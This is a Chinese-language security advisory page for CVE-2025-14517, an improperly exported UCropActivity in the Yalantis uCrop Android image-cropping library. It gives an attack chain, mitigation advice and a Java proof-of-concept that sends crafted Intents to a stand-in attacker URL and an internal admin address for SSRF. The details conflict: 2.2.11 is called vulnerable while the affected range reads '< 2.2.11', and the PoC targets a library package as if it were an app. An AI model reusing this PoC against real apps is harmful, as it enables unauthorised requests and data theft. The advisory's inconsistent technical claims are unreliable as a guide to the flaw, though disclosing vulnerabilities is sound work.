IPBUF安全漏洞报告
English
CVE-2025-14517 CVSS 5.3 中危

CVE-2025-14517 Yalantis uCrop 组件导出导致Intent欺骗漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-14517
漏洞类型
Android组件导出漏洞
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Yalantis uCrop

相关标签

Android组件导出Intent欺骗SSRFYalantisuCropCVE-2025-14517移动安全

漏洞概述

CVE-2025-14517是Yalantis公司开发的Android图片裁剪库uCrop 2.2.11版本中的一个中危安全漏洞。该漏洞存在于UCropActivity组件中,由于AndroidManifest.xml配置文件中的组件导出设置不当,导致该Activity可以被外部应用直接调用。攻击者利用此漏洞可以在用户不知情的情况下,通过构造恶意的Intent来欺骗应用执行非预期的操作,例如进行服务端请求伪造(SSRF)或获取敏感信息。此漏洞的CVSS评分为5.3,属于中等严重程度,攻击向量为本地攻击,攻击前需要低权限,但无需用户交互。由于该漏洞已被公开披露并可能被恶意利用,建议受影响的用户尽快采取防护措施。vendor在收到早期通知后未做出任何回应,因此该漏洞的修复进度可能受限。

技术细节

该漏洞的核心问题在于AndroidManifest.xml文件中UCropActivity组件的exported属性被设置为true,导致该Activity可以被设备上的其他应用直接启动。在正常情况下,如果Activity处理敏感操作,应该将其设置为私有或添加适当的权限验证。攻击者可以通过构造特定的Intent对象,设置action为com.yalantis.ucrop.action.CROP(UCropActivity的默认action),并指定data URI指向任意资源。当受害应用调用UCropActivity时,攻击者可以拦截或重定向裁剪结果,实现Intent Spoofing攻击。此外,攻击者还可以利用此漏洞进行SSRF攻击,通过让uCrop库访问攻击者控制的URL来探测内网资源或窃取敏感数据。攻击者只需构造恶意的Intent并调用startActivity()方法即可触发漏洞,无需特殊权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标设备上是否安装了使用uCrop库的应用,并确认UCropActivity组件是否可被导出访问
STEP 2
步骤2: 构造恶意Intent
攻击者构造恶意的Intent对象,设置action为com.yalantis.ucrop.action.CROP,指定data URI指向攻击者控制的服务器或内部网络资源
STEP 3
步骤3: 触发漏洞
通过调用startActivity()方法启动UCropActivity,利用其导出的组件进行SSRF攻击或Intent Spoofing
STEP 4
步骤4: 窃取数据或执行未授权操作
攻击者成功获取敏感信息、探测内网服务、或欺骗应用执行攻击者期望的操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14517 PoC - Intent Spoofing Attack // This PoC demonstrates how to exploit the improper export of UCropActivity Intent intent = new Intent(); intent.setAction("com.yalantis.ucrop.action.CROP"); intent.setClassName("com.yalantis.ucrop", "com.yalantis.ucrop.UCropActivity"); intent.setData(Uri.parse("https://attacker-controlled-url.com/malicious-image")); intent.putExtra("output", Uri.parse("content://com.attacker.provider/malicious_output")); intent.putExtra("scale_up_if_needed", true); intent.putExtra("set_status_bar_color", true); intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); try { startActivity(intent); } catch (ActivityNotFoundException e) { // Handle case where UCrop is not installed } // For SSRF exploitation, set data URI to internal service Intent ssrfIntent = new Intent(); ssrfIntent.setAction("com.yalantis.ucrop.action.CROP"); ssrfIntent.setClassName("com.yalantis.ucrop", "com.yalantis.ucrop.UCropActivity"); ssrfIntent.setData(Uri.parse("http://192.168.1.1:8080/internal-admin")); // Internal SSRF target ssrfIntent.putExtra("output", Uri.parse("content://com.attacker.provider/result")); startActivity(ssrfIntent);

影响范围

Yalantis uCrop < 2.2.11

防御指南

临时缓解措施
作为临时缓解措施,建议开发者将UCropActivity在AndroidManifest.xml中的android:exported属性设置为false,并添加android:permission属性限制访问权限。同时,可以在UCropActivity的onCreate方法中添加包名白名单验证,确保只有来自可信应用的调用被接受。如果应用不需要图片裁剪功能,可以考虑移除uCrop依赖以彻底消除该攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表